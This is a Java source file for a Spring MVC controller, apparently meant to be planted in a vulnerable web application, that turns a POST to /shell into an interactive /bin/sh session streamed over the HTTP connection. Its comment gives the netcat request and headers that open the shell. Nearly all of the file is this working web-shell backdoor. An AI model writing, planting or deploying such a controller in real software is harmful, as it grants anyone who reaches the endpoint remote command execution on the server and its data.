Spring MVC shell using controller and AsyncContext

ShellController.java

package com.dsavitski.vulnerable.controllers;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.AsyncContext;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

/**
 * This Spring MVC controller can help to create a cmd shell in vulnerable application.
 * <p>
 * Usage:
 * nc localhost 8080
 * POST /shell HTTP/1.1
 * Host: localhost
 * Content-Length: 2147483647
 * Accept-Encoding: identity
 * Transfer-Encoding: identity
 * <p>
 * After that you'll have a cmd shell.
 * Tomcat sets connectionTimeout for 20 seconds, so your input stream will be dropped after 20 seconds of idle.
 */
@Controller
public class ShellController {
    private static final String MAPPING = "/shell";
    private static final String EXEC = "/bin/sh";
    
    @RequestMapping(value = MAPPING, method = RequestMethod.POST)
    @ResponseBody
    public String index(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // get rid of Transfer-Encoding: chunked in response
        response.setContentLength(Integer.MAX_VALUE);

        AsyncContext asyncContext = request.startAsync();
        final ServletOutputStream socketOut = asyncContext.getResponse().getOutputStream();
        final ServletInputStream socketIn = asyncContext.getRequest().getInputStream();

        socketOut.println("Shell started!");
        socketOut.flush();

        Process p = new ProcessBuilder(EXEC).redirectErrorStream(true).start();
        InputStream processIn = p.getInputStream();
        InputStream processError = p.getErrorStream();
        OutputStream processOut = p.getOutputStream();

        while (true) {
            try {
                while (processIn.available() > 0) socketOut.write(processIn.read());
                while (processError.available() > 0) socketOut.write(processError.read());
                socketOut.flush();

                int read = socketIn.read();
                if (read > 0 && read != 10) {
                    do {
                        processOut.write(read);
                        read = socketIn.read();
                    } while (read > 0 && read != 10);
                    processOut.write(10);
                    processOut.flush();
                }
                Thread.sleep(50);

                p.exitValue();
                break;
            } catch (Exception e) { /* NOP */}
        }
        p.destroy();
        return "Shell closed!";
    }
}